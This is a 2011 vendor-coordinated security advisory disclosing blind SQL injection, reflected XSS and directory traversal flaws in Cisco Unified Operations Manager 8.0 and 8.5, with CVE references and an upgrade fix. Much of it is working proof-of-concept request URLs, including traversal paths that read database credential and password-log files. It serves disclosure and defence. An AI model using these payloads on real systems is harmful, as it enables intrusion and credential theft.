Sense of Security – Security Advisory – SOS-11-006.

Cisco Unified Operations Manager Multiple Vulnerabilities.

18 May 2011.

Cisco Unified Operations Manager - Security Advisory - SOS-11-006

Release Date.	18-May-2011
Last Update.	-
Vendor Notification Date.	28-Feb-2011
Product.	Cisco Unified Operations Manager Common Services Framework Help Servlet Common Services Device Center CiscoWorks Homepage Note: All of the above products are included by default in CuOM.
Platform.	Microsoft Windows
Affected versions.	CuOM 8.0 and 8.5 (verified), possibly others.
Severity Rating.	Medium – Low
Impact.	Database access, cookie and credential theft, impersonation, loss of confidentiality, local file disclosure, information disclosure.
Attack Vector.	Remote with authentication
Solution Status.	Vendor patch
CVE reference.	CVE-2011-0959 (CSCtn61716) CVE-2011-0960 (CSCtn61716) CVE-2011-0961 (CSCto12704) CVE-2011-0962 (CSCto12712) CVE-2011-0966 (CSCto35577)

Details.

Cisco Unified Operations Manager (CuOM) is a NMS for voice developed by Cisco Systems. Operations Manager monitors and evaluates the current status of both the

IP communications infrastructure and the underlying transport infrastructure in your network.

Multiple vulnerabilities have been identified in Cisco Unified Operations Manager and associated products. These vulnerabilities include multiple blind SQL injections, multiple XSS' and a directory traversal vulnerability.

1. Blind SQL injection vulnerabilities that affect CuOM
   CVE-2011-0960 (CSCtn61716):

The Variable CCMs of PRTestCreation can trigger a blind SQL injection vulnerability by supplying a single quote, followed by a time delay call:

/iptm/PRTestCreation.do?RequestSource=dashboard&MACs=&CCMs='waitfor%20delay'0:0:20'--&Extns=&IPs=

Additionally, variable ccm of TelePresenceReportAction can trigger a blind SQL injection vulnerability by supplying a single quote:

/iptm/TelePresenceReportAction.do?ccm='waitfor%20delay'0:0:20'--

2. Reflected XSS vulnerabilities that affect CuOM
   CVE-2011-0959 (CSCtn61716):

/iptm/advancedfind.do?extn=73fcb</script><script>alert(1)</script>23fbe43447

/iptm/ddv.do?deviceInstanceName=f3806"%3balert(1)//9b92b050cf5&deviceCapability=deviceCap

/iptm/ddv.do?deviceInstanceName=25099<script>alert(1)</script>f813ea8c06d&deviceCapability=deviceCap

/iptm/eventmon?cmd=filterHelperca99b<script>alert(1)</script>542256870d5&viewname=device.filter&operation=getFilter&dojo.preventCache=1298518961028

/iptm/eventmon?cmd=getDeviceData&group=/3309d<script>alert(1)</script>09520eb762c&dojo.preventCache=1298518963370

/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp?clusterName=d4f84"%3balert(1)//608ddbf972

/iptm/faultmon/ui/dojo/Main/eventmon_wrapper.jsp?deviceName=c25e8"%3balert(1)//79877affe89

/iptm/logicalTopo.do?clusterName=&ccmName=ed1b1"%3balert(1)//cda6137ae4c

/iptm/logicalTopo.do?clusterName=db4c1"%3balert(1)//4031caf63d7

Reflected XSS vulnerability that affect Common Services Device Center

CVE-2011-0962 (CSCto12712):

/CSCOnm/servlet/com.cisco.nm.help.ServerHelpEngine?tag=Portal_introductionhomepage61a8b"%3balert(1)//4e9adfb2987

Reflected XSS vulnerability that affects Common Services Framework Help Servlet

CVE-2011-0961 (CSCto12704):

/cwhp/device.center.do?device=&72a9f"><script>alert(1)</script>5f5251aaad=1

3. Directory traversal vulnerability that affects CiscoWorks Homepage
   CVE-2011-0966 (CSCto35577):

http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini

cmfDBA user database info:

http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties

DB connection info for all databases:

http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties

Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.

DB password change log:

http://target:1741/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program Files\CSCOpx\log\dbpwdChange.log

Solution.

Upgrade to CuOM 8.6.

Refer to Cisco Bug IDs: CSCtn61716, CSCto12704, CSCto12712 and CSCto35577 for information on patches and availability of fixes.

Discovered by.

Sense of Security.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-11-006.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php